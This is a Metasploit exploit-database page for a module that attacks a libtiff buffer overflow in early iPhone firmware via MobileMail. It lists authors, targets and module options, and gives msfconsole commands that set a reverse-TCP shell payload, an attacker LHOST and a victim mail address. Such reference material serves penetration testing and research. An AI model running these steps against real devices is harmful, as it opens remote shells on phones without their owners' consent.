iPhone MobileMail LibTIFF Buffer Overflow | Metasploit Exploit Database (DB)

iPhone MobileMail LibTIFF Buffer Overflow

This module exploits a buffer overflow in the version of libtiff shipped with firmware versions 1.00, 1.01, 1.02, and 1.1.1 of the Apple iPhone. iPhones which have not had the BSD tools installed will need to use a special payload.

Search Other Modules


Exploit Rank

  • Good

Exploit Authors

  • hdm < hdm [at] metasploit.com >
  • kf < kf_list [at] digitalmunition.com >

Vulnerability References


Exploit Targets

  • 0 - MobileSafari iPhone Mac OS X (1.00, 1.01, 1.02, 1.1.1) (default)

Exploit Development


Similar Exploit Modules


Exploit Usage Information

$ msfconsole

                ##                          ###           ##    ##
 ##  ##  #### ###### ####  #####   #####    ##    ####        ######
####### ##  ##  ##  ##         ## ##  ##    ##   ##  ##   ###   ##
####### ######  ##  #####   ####  ##  ##    ##   ##  ##   ##    ##
## # ##     ##  ##  ##  ## ##      #####    ##   ##  ##   ##    ##
##   ##  #### ###   #####   #####     ##   ####   ####   #### ###
                                      ##

msf > use exploit/osx/email/mobilemail_libtiff
msf exploit(mobilemail_libtiff) > show payloads
msf exploit(mobilemail_libtiff) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(mobilemail_libtiff) > set LHOST [MY IP ADDRESS]
msf exploit(mobilemail_libtiff) > set MAILTO [STRING]
msf exploit(mobilemail_libtiff) > set RHOST [TARGET IP]
msf exploit(mobilemail_libtiff) > set SUBJECT [STRING]
msf exploit(mobilemail_libtiff) > exploit


Exploit Module Options

MAILFROM The FROM address of the e-mail (default: random@example.com)
MAILTO The TO address of the email
PASSWORD SMTP Password for sending email
RHOST The SMTP server to send through
RPORT The SMTP server port (e.g. 25, 465, 587, 2525) (default: 25)
SUBJECT Subject line of the email
USERNAME SMTP Username for sending email
VERBOSE Display verbose information
CHOST The local client address
CPORT The local client port
ConnectTimeout Maximum number of seconds to establish a TCP connection
ContextInformationFile The information file that contains context information
DisablePayloadHandler Disable the handler code for the selected payload
EnableContextEncoding Use transient context when encoding payloads
Proxies Use a proxy chain
SSL Negotiate SSL for outgoing connections
SSLVersion Specify the version of SSL that should be used (accepted: SSL2, SSL3, TLS1)
WORKSPACE Specify the workspace for this module
TCP::max_send_size Maxiumum tcp segment size. (0 = disable)
TCP::send_delay Delays inserted before every send. (0 = disable)